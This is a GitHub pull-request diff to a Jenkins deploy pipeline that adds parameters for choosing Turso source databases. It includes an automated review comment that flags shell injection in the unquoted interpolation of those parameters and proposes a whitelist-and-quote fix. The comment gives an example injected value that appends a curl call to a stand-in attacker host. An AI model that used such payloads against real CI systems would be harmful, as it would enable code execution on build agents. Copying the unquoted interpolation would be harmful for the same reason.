Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
41 changes: 28 additions & 13 deletions Jenkinsfile.deploy
Original file line number Diff line number Diff line change
Expand Up @@ -87,23 +87,21 @@ pipeline {
stage("Select master db") {
steps {
script {
env.USE_PARAMS_DB="false"
def setCount = 0
if (params.DB_MAIN_EU != "") setCount++
if (params.DB_MAIN_US_WEST != "") setCount++
if (params.DB_MAIN_US_EAST != "") setCount++
if (setCount > 0 && setCount < 3) {
error("Only some main db params are set. Please set all or none.")
}

if (params.DB_MAIN_EU != "") {
env.TURSO_EU_DB = params.DB_MAIN_EU
}
if (params.DB_MAIN_US_WEST != "") {
env.TURSO_US_WEST_DB = params.DB_MAIN_US_WEST
}
if (params.DB_MAIN_US_EAST != "") {
env.TURSO_US_EAST_DB = params.DB_MAIN_US_EAST


if (setCount == 3) {
echo "Using params db"
env.USE_PARAMS_DB = "true"
}

}
}
}
Expand Down Expand Up @@ -132,12 +130,29 @@ pipeline {
error("DB branch name is too long")
}
withCredentials([string(credentialsId: 'tursor_api_token', variable: 'TURSO_API_TOKEN')]) {
echo "prams status $USE_PARAMS_DB"
if (env.USE_PARAMS_DB == "true") {
echo "Using params db"
sh """
turso org switch angular-love
turso db create eu-${DB_BRANCH_NAME} --from-db $DB_MAIN_EU --group blog-eu
turso db create usw-${DB_BRANCH_NAME} --from-db $DB_MAIN_US_WEST --group blog-us-west
turso db create use-${DB_BRANCH_NAME} --from-db $DB_MAIN_US_EAST --group blog-us-east
"""
Comment on lines +137 to +141
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Block shell injection from DB_MAIN_ parameters*

DB_MAIN_* values come straight from Jenkins build parameters and are interpolated into the sh step without validation or quoting. A crafted value such as main-eu'; curl attacker # would piggyback onto the Turso command and execute arbitrary shell on the agent. Please whitelist acceptable characters and wrap the arguments before invoking Turso.

Apply this diff to harden the block:

-                    if (env.USE_PARAMS_DB == "true") {
-                        echo "Using params db"
-                        sh """
-                            turso org switch angular-love
-                            turso db create eu-${DB_BRANCH_NAME} --from-db $DB_MAIN_EU --group blog-eu
-                            turso db create usw-${DB_BRANCH_NAME} --from-db $DB_MAIN_US_WEST --group blog-us-west
-                            turso db create use-${DB_BRANCH_NAME} --from-db $DB_MAIN_US_EAST --group blog-us-east
-                        """
+                    if (env.USE_PARAMS_DB == "true") {
+                        echo "Using params db"
+                        def allowedDbName = ~/^[A-Za-z0-9._-]+$/
+                        [params.DB_MAIN_EU, params.DB_MAIN_US_WEST, params.DB_MAIN_US_EAST].each { value ->
+                            if (!(value ==~ allowedDbName)) {
+                                error("DB_MAIN_* params may only contain letters, numbers, '.', '_' or '-'")
+                            }
+                        }
+                        sh """
+                            turso org switch angular-love
+                            turso db create eu-${DB_BRANCH_NAME} --from-db '${params.DB_MAIN_EU}' --group blog-eu
+                            turso db create usw-${DB_BRANCH_NAME} --from-db '${params.DB_MAIN_US_WEST}' --group blog-us-west
+                            turso db create use-${DB_BRANCH_NAME} --from-db '${params.DB_MAIN_US_EAST}' --group blog-us-east
+                        """
                     } else {
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
turso org switch angular-love
turso db create eu-${DB_BRANCH_NAME} --from-db $DB_MAIN_EU --group blog-eu
turso db create usw-${DB_BRANCH_NAME} --from-db $DB_MAIN_US_WEST --group blog-us-west
turso db create use-${DB_BRANCH_NAME} --from-db $DB_MAIN_US_EAST --group blog-us-east
"""
if (env.USE_PARAMS_DB == "true") {
echo "Using params db"
// Whitelist DB_MAIN_* values to prevent shell injection
def allowedDbName = ~/^[A-Za-z0-9._-]+$/
[params.DB_MAIN_EU, params.DB_MAIN_US_WEST, params.DB_MAIN_US_EAST].each { value ->
if (!(value ==~ allowedDbName)) {
error("DB_MAIN_* params may only contain letters, numbers, '.', '_' or '-'")
}
}
sh """
turso org switch angular-love
turso db create eu-${DB_BRANCH_NAME} --from-db '${params.DB_MAIN_EU}' --group blog-eu
turso db create usw-${DB_BRANCH_NAME} --from-db '${params.DB_MAIN_US_WEST}' --group blog-us-west
turso db create use-${DB_BRANCH_NAME} --from-db '${params.DB_MAIN_US_EAST}' --group blog-us-east
"""
} else {
🤖 Prompt for AI Agents
In Jenkinsfile.deploy around lines 143-147, the DB_MAIN_* variables are
interpolated directly into the sh block allowing shell injection; validate each
DB_MAIN_* value against a whitelist (e.g. only allow letters, numbers, dots,
dashes and underscores via a strict regex) and fail the build if validation
fails, then use the validated values when constructing the turso commands and
wrap each argument in proper shell-safe quoting (or pass them as separate,
quoted arguments) so untrusted characters cannot break out of the command.

} else {
echo "Using normal db"
sh """
turso org switch angular-love
turso db create eu-${DB_BRANCH_NAME} --from-db $TURSO_EU_DB --group blog-eu
turso db create usw-${DB_BRANCH_NAME} --from-db $TURSO_US_WEST_DB --group blog-us-west
turso db create use-${DB_BRANCH_NAME} --from-db $TURSO_US_EAST_DB --group blog-us-east
"""

}


sh """
turso org switch angular-love
turso db create eu-${DB_BRANCH_NAME} --from-db $TURSO_EU_DB --group blog-eu
turso db create usw-${DB_BRANCH_NAME} --from-db $TURSO_US_WEST_DB --group blog-us-west
turso db create use-${DB_BRANCH_NAME} --from-db $TURSO_US_EAST_DB --group blog-us-east

turso db list -g blog-eu | grep -q "eu-${DB_BRANCH_NAME}" || { echo "EU database not found after creation"; exit 1; }
turso db list -g blog-us-west | grep -q "usw-${DB_BRANCH_NAME}" || { echo "US West database not found after creation"; exit 1; }
turso db list -g blog-us-east | grep -q "use-${DB_BRANCH_NAME}" || { echo "US East database not found after creation"; exit 1; }
Expand Down